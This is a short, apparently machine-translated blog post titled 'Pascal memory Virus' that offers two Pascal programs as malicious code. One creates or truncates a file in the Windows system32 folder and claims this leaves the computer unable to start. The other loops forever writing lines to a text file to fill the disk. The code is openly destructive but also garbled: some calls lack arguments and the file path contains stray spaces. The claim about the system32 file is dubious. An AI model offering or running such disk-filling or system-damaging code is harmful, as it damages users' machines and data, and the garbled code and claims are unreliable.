Pascal memory Virus)

Pascal memory Virus

Chaobs obtained from the Internet

Although the Pascal virus can be closed with only Ctrl + pause break, once some programs are started, you don't have to wait until you find the two keys, so you can close the operation. For example, the following program:

VaR
A: text;
Begin
Assign (A, 'c: \ windows \ system32 \ system64.dat ');
Rewrite ();
Close ();
End.

This program can run in 0.1 seconds, but the effect is very obvious-the computer cannot be opened ...... For example:

VaR
S: string;
I: integer;
Begin
I: = 1;
S: = '';
Assign(output,'windows.txt ');
Rewrite (output );
While I = 1 do
Writeln (s );
Close (output );
End.

The effect is: 200 Mb/s (which may change with the speed of the computer). Of course, the sentence "s: =''; "can be faster if it gets longer.